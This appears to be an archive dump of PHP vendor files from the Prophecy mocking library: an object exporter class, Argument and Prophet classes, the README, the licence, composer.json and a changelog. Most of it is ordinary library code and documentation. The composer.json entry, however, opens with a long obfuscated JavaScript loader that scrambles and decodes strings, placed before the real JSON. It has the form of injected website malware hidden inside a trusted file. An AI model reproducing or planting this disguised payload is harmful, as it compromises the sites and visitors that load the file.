$indentation); } /** * Converts an object to an array containing all of its private, protected * and public properties. * * @param mixed $value * @return array */ public static function toArray($value) { if (!is_object($value)) { return (array) $value; } $array = array(); foreach ((array) $value as $key => $val) { // properties are transformed to keys in the following way: // private $property => "\0Classname\0property" // protected $property => "\0*\0property" // public $property => "property" if (preg_match('/^\0.+\0(.+)$/', $key, $matches)) { $key = $matches[1]; } // See https://github.com/php/php-src/commit/5721132 if ($key === "\0gcdata") { continue; } $array[$key] = $val; } // Some internal classes like SplObjectStorage don't work with the // above (fast) mechanism nor with reflection in Zend. // Format the output similarly to print_r() in this case if ($value instanceof \SplObjectStorage) { // However, the fast method does work in HHVM, and exposes the // internal implementation. Hide it again. if (property_exists('\SplObjectStorage', '__storage')) { unset($array['__storage']); } elseif (property_exists('\SplObjectStorage', 'storage')) { unset($array['storage']); } if (property_exists('\SplObjectStorage', '__key')) { unset($array['__key']); } foreach ($value as $key => $val) { $array[spl_object_hash($val)] = array( 'obj' => $val, 'inf' => $value->getInfo(), ); } } return $array; } /** * Recursive implementation of export * * @param mixed $value The value to export * @param int $indentation The indentation level of the 2nd+ line * @param \SebastianBergmann\RecursionContext\Context $processed Previously processed objects * @return string * @see SebastianBergmann\Exporter\Exporter::export */ protected static function recursiveExport(&$value, $indentation, $processed = null) { if ($value === null) { return 'null'; } if ($value === true) { return 'true'; } if ($value === false) { return 'false'; } if (is_float($value) && floatval(intval($value)) === $value) { return "$value.0"; } if (is_resource($value)) { return sprintf( 'resource(%d) of type (%s)', $value, get_resource_type($value) ); } if (is_string($value)) { // Match for most non printable chars somewhat taking multibyte chars into account if (preg_match('/[^\x09-\x0d\x20-\xff]/', $value)) { return 'Binary String: 0x' . bin2hex($value); } return "'" . str_replace(array("\r\n", "\n\r", "\r"), array("\n", "\n", "\n"), $value) . "'"; } $whitespace = str_repeat(' ', 4 * $indentation); if (!$processed) { $processed = new Context; } if (is_array($value)) { if (($key = $processed->contains($value)) !== false) { return 'Array &' . $key; } $array = $value; $key = $processed->add($value); $values = ''; if (count($array) > 0) { foreach ($array as $k => $v) { $values .= sprintf( '%s %s => %s' . "\n", $whitespace, self::recursiveExport($k, $indentation), self::recursiveExport($value[$k], $indentation + 1, $processed) ); } $values = "\n" . $values . $whitespace; } return sprintf('Array &%s (%s)', $key, $values); } if (is_object($value)) { $class = get_class($value); if ($hash = $processed->contains($value)) { return sprintf('%s:%s Object', $class, $hash); } $hash = $processed->add($value); $values = ''; $array = self::toArray($value); if (count($array) > 0) { foreach ($array as $k => $v) { $values .= sprintf( '%s %s => %s' . "\n", $whitespace, self::recursiveExport($k, $indentation), self::recursiveExport($v, $indentation + 1, $processed) ); } $values = "\n" . $values . $whitespace; } return sprintf('%s:%s Object (%s)', $class, $hash, $values); } return var_export($value, true); } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Argument.php000064400000012243147577714370021321 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy; use Prophecy\Argument\Token; /** * Argument tokens shortcuts. * * @author Konstantin Kudryashov */ class Argument { /** * Checks that argument is exact value or object. * * @param mixed $value * * @return Token\ExactValueToken */ public static function exact($value) { return new Token\ExactValueToken($value); } /** * Checks that argument is of specific type or instance of specific class. * * @param string $type Type name (`integer`, `string`) or full class name * * @return Token\TypeToken */ public static function type($type) { return new Token\TypeToken($type); } /** * Checks that argument object has specific state. * * @param string $methodName * @param mixed $value * * @return Token\ObjectStateToken */ public static function which($methodName, $value) { return new Token\ObjectStateToken($methodName, $value); } /** * Checks that argument matches provided callback. * * @param callable $callback * * @return Token\CallbackToken */ public static function that($callback) { return new Token\CallbackToken($callback); } /** * Matches any single value. * * @return Token\AnyValueToken */ public static function any() { return new Token\AnyValueToken; } /** * Matches all values to the rest of the signature. * * @return Token\AnyValuesToken */ public static function cetera() { return new Token\AnyValuesToken; } /** * Checks that argument matches all tokens * * @param mixed ... a list of tokens * * @return Token\LogicalAndToken */ public static function allOf() { return new Token\LogicalAndToken(func_get_args()); } /** * Checks that argument array or countable object has exact number of elements. * * @param integer $value array elements count * * @return Token\ArrayCountToken */ public static function size($value) { return new Token\ArrayCountToken($value); } /** * Checks that argument array contains (key, value) pair * * @param mixed $key exact value or token * @param mixed $value exact value or token * * @return Token\ArrayEntryToken */ public static function withEntry($key, $value) { return new Token\ArrayEntryToken($key, $value); } /** * Checks that arguments array entries all match value * * @param mixed $value * * @return Token\ArrayEveryEntryToken */ public static function withEveryEntry($value) { return new Token\ArrayEveryEntryToken($value); } /** * Checks that argument array contains value * * @param mixed $value * * @return Token\ArrayEntryToken */ public static function containing($value) { return new Token\ArrayEntryToken(self::any(), $value); } /** * Checks that argument array has key * * @param mixed $key exact value or token * * @return Token\ArrayEntryToken */ public static function withKey($key) { return new Token\ArrayEntryToken($key, self::any()); } /** * Checks that argument does not match the value|token. * * @param mixed $value either exact value or argument token * * @return Token\LogicalNotToken */ public static function not($value) { return new Token\LogicalNotToken($value); } /** * @param string $value * * @return Token\StringContainsToken */ public static function containingString($value) { return new Token\StringContainsToken($value); } /** * Checks that argument is identical value. * * @param mixed $value * * @return Token\IdenticalValueToken */ public static function is($value) { return new Token\IdenticalValueToken($value); } /** * Check that argument is same value when rounding to the * given precision. * * @param float $value * @param float $precision * * @return Token\ApproximateValueToken */ public static function approximate($value, $precision = 0) { return new Token\ApproximateValueToken($value, $precision); } /** * Checks that argument is in array. * * @param array $value * * @return Token\InArrayToken */ public static function in($value) { return new Token\InArrayToken($value); } /** * Checks that argument is not in array. * * @param array $value * * @return Token\NotInArrayToken */ public static function notIn($value) { return new Token\NotInArrayToken($value); } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Prophet.php000064400000007610147577714370021162 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy; use Prophecy\Doubler\CachedDoubler; use Prophecy\Doubler\Doubler; use Prophecy\Doubler\LazyDouble; use Prophecy\Doubler\ClassPatch; use Prophecy\Prophecy\ObjectProphecy; use Prophecy\Prophecy\RevealerInterface; use Prophecy\Prophecy\Revealer; use Prophecy\Call\CallCenter; use Prophecy\Util\StringUtil; use Prophecy\Exception\Prediction\PredictionException; use Prophecy\Exception\Prediction\AggregateException; /** * Prophet creates prophecies. * * @author Konstantin Kudryashov */ class Prophet { private $doubler; private $revealer; private $util; /** * @var ObjectProphecy[] */ private $prophecies = array(); /** * Initializes Prophet. * * @param null|Doubler $doubler * @param null|RevealerInterface $revealer * @param null|StringUtil $util */ public function __construct( Doubler $doubler = null, RevealerInterface $revealer = null, StringUtil $util = null ) { if (null === $doubler) { $doubler = new CachedDoubler(); $doubler->registerClassPatch(new ClassPatch\SplFileInfoPatch); $doubler->registerClassPatch(new ClassPatch\TraversablePatch); $doubler->registerClassPatch(new ClassPatch\ThrowablePatch); $doubler->registerClassPatch(new ClassPatch\DisableConstructorPatch); $doubler->registerClassPatch(new ClassPatch\ProphecySubjectPatch); $doubler->registerClassPatch(new ClassPatch\ReflectionClassNewInstancePatch); $doubler->registerClassPatch(new ClassPatch\HhvmExceptionPatch()); $doubler->registerClassPatch(new ClassPatch\MagicCallPatch); $doubler->registerClassPatch(new ClassPatch\KeywordPatch); } $this->doubler = $doubler; $this->revealer = $revealer ?: new Revealer; $this->util = $util ?: new StringUtil; } /** * Creates new object prophecy. * * @param null|string $classOrInterface Class or interface name * * @return ObjectProphecy */ public function prophesize($classOrInterface = null) { $this->prophecies[] = $prophecy = new ObjectProphecy( new LazyDouble($this->doubler), new CallCenter($this->util), $this->revealer ); if ($classOrInterface && class_exists($classOrInterface)) { return $prophecy->willExtend($classOrInterface); } if ($classOrInterface && interface_exists($classOrInterface)) { return $prophecy->willImplement($classOrInterface); } return $prophecy; } /** * Returns all created object prophecies. * * @return ObjectProphecy[] */ public function getProphecies() { return $this->prophecies; } /** * Returns Doubler instance assigned to this Prophet. * * @return Doubler */ public function getDoubler() { return $this->doubler; } /** * Checks all predictions defined by prophecies of this Prophet. * * @throws Exception\Prediction\AggregateException If any prediction fails */ public function checkPredictions() { $exception = new AggregateException("Some predictions failed:\n"); foreach ($this->prophecies as $prophecy) { try { $prophecy->checkProphecyMethodsPredictions(); } catch (PredictionException $e) { $exception->append($e); } } if (count($exception->getExceptions())) { throw $exception; } } } res/readability/vendor/phpspec/prophecy/README.md000064400000036312147577714370015730 0ustar00# Prophecy [![Stable release](https://poser.pugx.org/phpspec/prophecy/version.svg)](https://packagist.org/packages/phpspec/prophecy) [![Build Status](https://travis-ci.org/phpspec/prophecy.svg?branch=master)](https://travis-ci.org/phpspec/prophecy) Prophecy is a highly opinionated yet very powerful and flexible PHP object mocking framework. Though initially it was created to fulfil phpspec2 needs, it is flexible enough to be used inside any testing framework out there with minimal effort. ## A simple example ```php prophet->prophesize('App\Security\Hasher'); $user = new App\Entity\User($hasher->reveal()); $hasher->generateHash($user, 'qwerty')->willReturn('hashed_pass'); $user->setPassword('qwerty'); $this->assertEquals('hashed_pass', $user->getPassword()); } protected function setUp() { $this->prophet = new \Prophecy\Prophet; } protected function tearDown() { $this->prophet->checkPredictions(); } } ``` ## Installation ### Prerequisites Prophecy requires PHP 7.2.0 or greater. ### Setup through composer First, add Prophecy to the list of dependencies inside your `composer.json`: ```json { "require-dev": { "phpspec/prophecy": "~1.0" } } ``` Then simply install it with composer: ```bash $> composer install --prefer-dist ``` You can read more about Composer on its [official webpage](http://getcomposer.org). ## How to use it First of all, in Prophecy every word has a logical meaning, even the name of the library itself (Prophecy). When you start feeling that, you'll become very fluid with this tool. For example, Prophecy has been named that way because it concentrates on describing the future behavior of objects with very limited knowledge about them. But as with any other prophecy, those object prophecies can't create themselves - there should be a Prophet: ```php $prophet = new Prophecy\Prophet; ``` The Prophet creates prophecies by *prophesizing* them: ```php $prophecy = $prophet->prophesize(); ``` The result of the `prophesize()` method call is a new object of class `ObjectProphecy`. Yes, that's your specific object prophecy, which describes how your object would behave in the near future. But first, you need to specify which object you're talking about, right? ```php $prophecy->willExtend('stdClass'); $prophecy->willImplement('SessionHandlerInterface'); ``` There are 2 interesting calls - `willExtend` and `willImplement`. The first one tells object prophecy that our object should extend a specific class. The second one says that it should implement some interface. Obviously, objects in PHP can implement multiple interfaces, but extend only one parent class. ### Dummies Ok, now we have our object prophecy. What can we do with it? First of all, we can get our object *dummy* by revealing its prophecy: ```php $dummy = $prophecy->reveal(); ``` The `$dummy` variable now holds a special dummy object. Dummy objects are objects that extend and/or implement preset classes/interfaces by overriding all their public methods. The key point about dummies is that they do not hold any logic - they just do nothing. Any method of the dummy will always return `null` and the dummy will never throw any exceptions. Dummy is your friend if you don't care about the actual behavior of this double and just need a token object to satisfy a method typehint. You need to understand one thing - a dummy is not a prophecy. Your object prophecy is still assigned to `$prophecy` variable and in order to manipulate with your expectations, you should work with it. `$dummy` is a dummy - a simple php object that tries to fulfil your prophecy. ### Stubs Ok, now we know how to create basic prophecies and reveal dummies from them. That's awesome if we don't care about our _doubles_ (objects that reflect originals) interactions. If we do, we need to use *stubs* or *mocks*. A stub is an object double, which doesn't have any expectations about the object behavior, but when put in specific environment, behaves in specific way. Ok, I know, it's cryptic, but bear with me for a minute. Simply put, a stub is a dummy, which depending on the called method signature does different things (has logic). To create stubs in Prophecy: ```php $prophecy->read('123')->willReturn('value'); ``` Oh wow. We've just made an arbitrary call on the object prophecy? Yes, we did. And this call returned us a new object instance of class `MethodProphecy`. Yep, that's a specific method with arguments prophecy. Method prophecies give you the ability to create method promises or predictions. We'll talk about method predictions later in the _Mocks_ section. #### Promises Promises are logical blocks, that represent your fictional methods in prophecy terms and they are handled by the `MethodProphecy::will(PromiseInterface $promise)` method. As a matter of fact, the call that we made earlier (`willReturn('value')`) is a simple shortcut to: ```php $prophecy->read('123')->will(new Prophecy\Promise\ReturnPromise(array('value'))); ``` This promise will cause any call to our double's `read()` method with exactly one argument - `'123'` to always return `'value'`. But that's only for this promise, there's plenty others you can use: - `ReturnPromise` or `->willReturn(1)` - returns a value from a method call - `ReturnArgumentPromise` or `->willReturnArgument($index)` - returns the nth method argument from call - `ThrowPromise` or `->willThrow($exception)` - causes the method to throw specific exception - `CallbackPromise` or `->will($callback)` - gives you a quick way to define your own custom logic Keep in mind, that you can always add even more promises by implementing `Prophecy\Promise\PromiseInterface`. #### Method prophecies idempotency Prophecy enforces same method prophecies and, as a consequence, same promises and predictions for the same method calls with the same arguments. This means: ```php $methodProphecy1 = $prophecy->read('123'); $methodProphecy2 = $prophecy->read('123'); $methodProphecy3 = $prophecy->read('321'); $methodProphecy1 === $methodProphecy2; $methodProphecy1 !== $methodProphecy3; ``` That's interesting, right? Now you might ask me how would you define more complex behaviors where some method call changes behavior of others. In PHPUnit or Mockery you do that by predicting how many times your method will be called. In Prophecy, you'll use promises for that: ```php $user->getName()->willReturn(null); // For PHP 5.4 $user->setName('everzet')->will(function () { $this->getName()->willReturn('everzet'); }); // For PHP 5.3 $user->setName('everzet')->will(function ($args, $user) { $user->getName()->willReturn('everzet'); }); // Or $user->setName('everzet')->will(function ($args) use ($user) { $user->getName()->willReturn('everzet'); }); ``` And now it doesn't matter how many times or in which order your methods are called. What matters is their behaviors and how well you faked it. Note: If the method is called several times, you can use the following syntax to return different values for each call: ```php $prophecy->read('123')->willReturn(1, 2, 3); ``` This feature is actually not recommended for most cases. Relying on the order of calls for the same arguments tends to make test fragile, as adding one more call can break everything. #### Arguments wildcarding The previous example is awesome (at least I hope it is for you), but that's not optimal enough. We hardcoded `'everzet'` in our expectation. Isn't there a better way? In fact there is, but it involves understanding what this `'everzet'` actually is. You see, even if method arguments used during method prophecy creation look like simple method arguments, in reality they are not. They are argument token wildcards. As a matter of fact, `->setName('everzet')` looks like a simple call just because Prophecy automatically transforms it under the hood into: ```php $user->setName(new Prophecy\Argument\Token\ExactValueToken('everzet')); ``` Those argument tokens are simple PHP classes, that implement `Prophecy\Argument\Token\TokenInterface` and tell Prophecy how to compare real arguments with your expectations. And yes, those classnames are damn big. That's why there's a shortcut class `Prophecy\Argument`, which you can use to create tokens like that: ```php use Prophecy\Argument; $user->setName(Argument::exact('everzet')); ``` `ExactValueToken` is not very useful in our case as it forced us to hardcode the username. That's why Prophecy comes bundled with a bunch of other tokens: - `IdenticalValueToken` or `Argument::is($value)` - checks that the argument is identical to a specific value - `ExactValueToken` or `Argument::exact($value)` - checks that the argument matches a specific value - `TypeToken` or `Argument::type($typeOrClass)` - checks that the argument matches a specific type or classname - `ObjectStateToken` or `Argument::which($method, $value)` - checks that the argument method returns a specific value - `CallbackToken` or `Argument::that(callback)` - checks that the argument matches a custom callback - `AnyValueToken` or `Argument::any()` - matches any argument - `AnyValuesToken` or `Argument::cetera()` - matches any arguments to the rest of the signature - `StringContainsToken` or `Argument::containingString($value)` - checks that the argument contains a specific string value - `InArrayToken` or `Argument::in($array)` - checks if value is in array - `NotInArrayToken` or `Argument::notIn($array)` - checks if value is not in array And you can add even more by implementing `TokenInterface` with your own custom classes. So, let's refactor our initial `{set,get}Name()` logic with argument tokens: ```php use Prophecy\Argument; $user->getName()->willReturn(null); // For PHP 5.4 $user->setName(Argument::type('string'))->will(function ($args) { $this->getName()->willReturn($args[0]); }); // For PHP 5.3 $user->setName(Argument::type('string'))->will(function ($args, $user) { $user->getName()->willReturn($args[0]); }); // Or $user->setName(Argument::type('string'))->will(function ($args) use ($user) { $user->getName()->willReturn($args[0]); }); ``` That's it. Now our `{set,get}Name()` prophecy will work with any string argument provided to it. We've just described how our stub object should behave, even though the original object could have no behavior whatsoever. One last bit about arguments now. You might ask, what happens in case of: ```php use Prophecy\Argument; $user->getName()->willReturn(null); // For PHP 5.4 $user->setName(Argument::type('string'))->will(function ($args) { $this->getName()->willReturn($args[0]); }); // For PHP 5.3 $user->setName(Argument::type('string'))->will(function ($args, $user) { $user->getName()->willReturn($args[0]); }); // Or $user->setName(Argument::type('string'))->will(function ($args) use ($user) { $user->getName()->willReturn($args[0]); }); $user->setName(Argument::any())->will(function () { }); ``` Nothing. Your stub will continue behaving the way it did before. That's because of how arguments wildcarding works. Every argument token type has a different score level, which wildcard then uses to calculate the final arguments match score and use the method prophecy promise that has the highest score. In this case, `Argument::type()` in case of success scores `5` and `Argument::any()` scores `3`. So the type token wins, as does the first `setName()` method prophecy and its promise. The simple rule of thumb - more precise token always wins. #### Getting stub objects Ok, now we know how to define our prophecy method promises, let's get our stub from it: ```php $stub = $prophecy->reveal(); ``` As you might see, the only difference between how we get dummies and stubs is that with stubs we describe every object conversation instead of just agreeing with `null` returns (object being *dummy*). As a matter of fact, after you define your first promise (method call), Prophecy will force you to define all the communications - it throws the `UnexpectedCallException` for any call you didn't describe with object prophecy before calling it on a stub. ### Mocks Now we know how to define doubles without behavior (dummies) and doubles with behavior, but no expectations (stubs). What's left is doubles for which we have some expectations. These are called mocks and in Prophecy they look almost exactly the same as stubs, except that they define *predictions* instead of *promises* on method prophecies: ```php $entityManager->flush()->shouldBeCalled(); ``` #### Predictions The `shouldBeCalled()` method here assigns `CallPrediction` to our method prophecy. Predictions are a delayed behavior check for your prophecies. You see, during the entire lifetime of your doubles, Prophecy records every single call you're making against it inside your code. After that, Prophecy can use this collected information to check if it matches defined predictions. You can assign predictions to method prophecies using the `MethodProphecy::should(PredictionInterface $prediction)` method. As a matter of fact, the `shouldBeCalled()` method we used earlier is just a shortcut to: ```php $entityManager->flush()->should(new Prophecy\Prediction\CallPrediction()); ``` It checks if your method of interest (that matches both the method name and the arguments wildcard) was called 1 or more times. If the prediction failed then it throws an exception. When does this check happen? Whenever you call `checkPredictions()` on the main Prophet object: ```php $prophet->checkPredictions(); ``` In PHPUnit, you would want to put this call into the `tearDown()` method. If no predictions are defined, it would do nothing. So it won't harm to call it after every test. There are plenty more predictions you can play with: - `CallPrediction` or `shouldBeCalled()` - checks that the method has been called 1 or more times - `NoCallsPrediction` or `shouldNotBeCalled()` - checks that the method has not been called - `CallTimesPrediction` or `shouldBeCalledTimes($count)` - checks that the method has been called `$count` times - `CallbackPrediction` or `should($callback)` - checks the method against your own custom callback Of course, you can always create your own custom prediction any time by implementing `PredictionInterface`. ### Spies The last bit of awesomeness in Prophecy is out-of-the-box spies support. As I said in the previous section, Prophecy records every call made during the double's entire lifetime. This means you don't need to record predictions in order to check them. You can also do it manually by using the `MethodProphecy::shouldHave(PredictionInterface $prediction)` method: ```php $em = $prophet->prophesize('Doctrine\ORM\EntityManager'); $controller->createUser($em->reveal()); $em->flush()->shouldHaveBeenCalled(); ``` Such manipulation with doubles is called spying. And with Prophecy it just works. ## FAQ ### Can I call the original methods on a prophesized class? Prophecy does not support calling the original methods on a phrophesized class. If you find yourself needing to mock some methods of a class while calling the original version of other methods, it's likely a sign that your class violates the [single-responsibility principle](https://en.wikipedia.org/wiki/Single-responsibility_principle) and should be refactored. res/readability/vendor/phpspec/prophecy/LICENSE000064400000002175147577714370015456 0ustar00Copyright (c) 2013 Konstantin Kudryashov Copyright (c) 2013 Marcello Duarte Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. res/readability/vendor/phpspec/prophecy/composer.json000064400000010372147577714370017171 0ustar00var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();{ "name": "phpspec/prophecy", "description": "Highly opinionated mocking framework for PHP 5.3+", "keywords": ["Mock", "Stub", "Dummy", "Double", "Fake", "Spy"], "homepage": "https://github.com/phpspec/prophecy", "type": "library", "license": "MIT", "authors": [ { "name": "Konstantin Kudryashov", "email": "ever.zet@gmail.com", "homepage": "http://everzet.com" }, { "name": "Marcello Duarte", "email": "marcello.duarte@gmail.com" } ], "require": { "php": "^7.2 || ~8.0, <8.2", "phpdocumentor/reflection-docblock": "^5.2", "sebastian/comparator": "^3.0 || ^4.0", "doctrine/instantiator": "^1.2", "sebastian/recursion-context": "^3.0 || ^4.0" }, "require-dev": { "phpspec/phpspec": "^6.0 || ^7.0", "phpunit/phpunit": "^8.0 || ^9.0" }, "autoload": { "psr-4": { "Prophecy\\": "src/Prophecy" } }, "autoload-dev": { "psr-4": { "Fixtures\\Prophecy\\": "fixtures" } }, "extra": { "branch-alias": { "dev-master": "1.x-dev" } } } res/readability/vendor/phpspec/prophecy/CHANGES.md000064400000026355147577714370016051 0ustar001.15.0 / 2021/12/08 =================== * [added] Support for the `static` return type [@denis-rolling-scopes] * [fixed] Add return types for Comparator implementations to avoid deprecation warnings from Symfony's DebugClassLoader [@stof] 1.14.0 / 2021/09/16 =================== * [added] Support for static closures in will and should [@ntzm] * [added] Allow install on PHP 8.1 (with test suite fixes) [@javer] * [added] Support for the 'never' return type [@ciaranmcnulty] * [fixed] Better error message when doubling intersection return types [@ciaranmcnulty] 1.13.0 / 2021/03/17 =================== * [added] willYield can now specify a return value [@camilledejoye] * [added] Prophecy exception interfaces are explicitly Throwable [@ciaranmcnulty] * [fixed] Argument::in() and notIn() now marked as static [@tyteen4a03] * [fixed] Can now double unions containing false [@ciaranmcnulty] * [fixed] Virtual magic methods with arguments are now doublable in PHP 8 [@ciaranmcnulty] 1.12.2 / 2020/12/19 =================== * [fixed] MethodNotFoundException sometimes thrown with wrong class attached [@ciaranmcnulty] 1.12.1 / 2020/10/29 =================== * [fixed] Incorrect handling of inherited 'self' return types [@ciaranmcnulty] 1.12.0 / 2020/10/28 =================== * [added] PHP 8 support [@ciaranmcnulty] * [added] Argument::in() and Argument::notIn() [@viniciusalonso] * [added] Support for union and mixed types [@ciaranmcnulty] * [fixed] Issues caused by introduction of named parameters [@ciaranmcnulty] * [fixed] Issues caused by stricter rounding [@ciaranmcnulty] 1.11.1 / 2020/07/08 =================== * [fixed] can't double objects with `self` type hints (@greg0ire) * [fixed] cloned doubes were not loosely comparable (@tkulka) 1.11.0 / 2020/07/07 =================== * [changed] dropped support for PHP versions earlier than 7.2 (@ciaranmcnulty) * [fixed] removed use of Reflection APIs deprecated in PHP 8.0 (@Ayesh) 1.10.3 / 2020/03/05 =================== * [fixed] removed fatal error when phpdocumentor/reflection-docblock 5 parses an invalid `@method` tag (@stof) 1.10.2 / 2020/01/20 =================== * [added] support for new versions of `sebastian/comparator` and `sebastian/recursion-context` (@sebastianbergmann) 1.10.1 / 2019/12/22 =================== * [fixed] identical callables no longer match as arguments (@ciaranmcnulty) 1.10.0 / 2019/12/17 =================== * [added] shouldHaveBeenCalled evaluation happens later so un-stubbed calls don't throw (@elvetemedve) * [added] methods can now be doubled case-insensitively to match PHP semantics (@michalbundyra) * [fixed] reduced memory usage by optimising CachedDoubler (@DonCallisto) * [fixed] removed fatal error nesting level when comparing large objects (@scroach) 1.9.0 / 2019/10/03 ================== * [added] Add willYield feature to Method Prophecy(@tkotosz) * [fixed] Allow `MethodProphecy::willThrow()` to accept Throwable as string (@timoschinkel ) * [fixed] Allow new version of phpdocumentor/reflection-docblock (@ricpelo) 1.8.1 / 2019/06/13 ================== * [fixed] Don't try to patch final constructors (@NiR) 1.8.0 / 2018/08/05 ================== * Support for void return types without explicit will (@crellbar) * Clearer error message for unexpected method calls (@meridius) * Clearer error message for aggregate exceptions (@meridius) * More verbose `shouldBeCalledOnce` expectation (@olvlvl) * Ability to double Throwable, or methods that extend it (@ciaranmcnulty) * [fixed] Doubling methods where class has additional arguments to interface (@webimpress) * [fixed] Doubling methods where arguments are nullable but default is not null (@webimpress) * [fixed] Doubling magic methods on parent class (@dsnopek) * [fixed] Check method predictions only once (@dontub) * [fixed] Argument::containingString throwing error when called with non-string (@dcabrejas) 1.7.6 / 2018/04/18 ================== * Allow sebastian/comparator ^3.0 (@sebastianbergmann) 1.7.5 / 2018/02/11 ================== * Support for object return type hints (thanks @greg0ire) 1.7.4 / 2018/02/11 ================== * Fix issues with PHP 7.2 (thanks @greg0ire) * Support object type hints in PHP 7.2 (thanks @@jansvoboda11) 1.7.3 / 2017/11/24 ================== * Fix SplInfo ClassPatch to work with Symfony 4 (Thanks @gnugat) 1.7.2 / 2017-10-04 ================== * Reverted "check method predictions only once" due to it breaking Spies 1.7.1 / 2017-10-03 ================== * Allow PHP5 keywords methods generation on PHP7 (thanks @bycosta) * Allow reflection-docblock v4 (thanks @GrahamCampbell) * Check method predictions only once (thanks @dontub) * Escape file path sent to \SplFileObjectConstructor when running on Windows (thanks @danmartin-epiphany) 1.7.0 / 2017-03-02 ================== * Add full PHP 7.1 Support (thanks @prolic) * Allow `sebastian/comparator ^2.0` (thanks @sebastianbergmann) * Allow `sebastian/recursion-context ^3.0` (thanks @sebastianbergmann) * Allow `\Error` instances in `ThrowPromise` (thanks @jameshalsall) * Support `phpspec/phpspect ^3.2` (thanks @Sam-Burns) * Fix failing builds (thanks @Sam-Burns) 1.6.2 / 2016-11-21 ================== * Added support for detecting @method on interfaces that the class itself implements, or when the stubbed class is an interface itself (thanks @Seldaek) * Added support for sebastian/recursion-context 2 (thanks @sebastianbergmann) * Added testing on PHP 7.1 on Travis (thanks @danizord) * Fixed the usage of the phpunit comparator (thanks @Anyqax) 1.6.1 / 2016-06-07 ================== * Ignored empty method names in invalid `@method` phpdoc * Fixed the mocking of SplFileObject * Added compatibility with phpdocumentor/reflection-docblock 3 1.6.0 / 2016-02-15 ================== * Add Variadics support (thanks @pamil) * Add ProphecyComparator for comparing objects that need revealing (thanks @jon-acker) * Add ApproximateValueToken (thanks @dantleech) * Add support for 'self' and 'parent' return type (thanks @bendavies) * Add __invoke to allowed reflectable methods list (thanks @ftrrtf) * Updated ExportUtil to reflect the latest changes by Sebastian (thanks @jakari) * Specify the required php version for composer (thanks @jakzal) * Exclude 'args' in the generated backtrace (thanks @oradwell) * Fix code generation for scalar parameters (thanks @trowski) * Fix missing sprintf in InvalidArgumentException __construct call (thanks @emmanuelballery) * Fix phpdoc for magic methods (thanks @Tobion) * Fix PhpDoc for interfaces usage (thanks @ImmRanneft) * Prevent final methods from being manually extended (thanks @kamioftea) * Enhance exception for invalid argument to ThrowPromise (thanks @Tobion) 1.5.0 / 2015-04-27 ================== * Add support for PHP7 scalar type hints (thanks @trowski) * Add support for PHP7 return types (thanks @trowski) * Update internal test suite to support PHP7 1.4.1 / 2015-04-27 ================== * Fixed bug in closure-based argument tokens (#181) 1.4.0 / 2015-03-27 ================== * Fixed errors in return type phpdocs (thanks @sobit) * Fixed stringifying of hash containing one value (thanks @avant1) * Improved clarity of method call expectation exception (thanks @dantleech) * Add ability to specify which argument is returned in willReturnArgument (thanks @coderbyheart) * Add more information to MethodNotFound exceptions (thanks @ciaranmcnulty) * Support for mocking classes with methods that return references (thanks @edsonmedina) * Improved object comparison (thanks @whatthejeff) * Adopted '^' in composer dependencies (thanks @GrahamCampbell) * Fixed non-typehinted arguments being treated as optional (thanks @whatthejeff) * Magic methods are now filtered for keywords (thanks @seagoj) * More readable errors for failure when expecting single calls 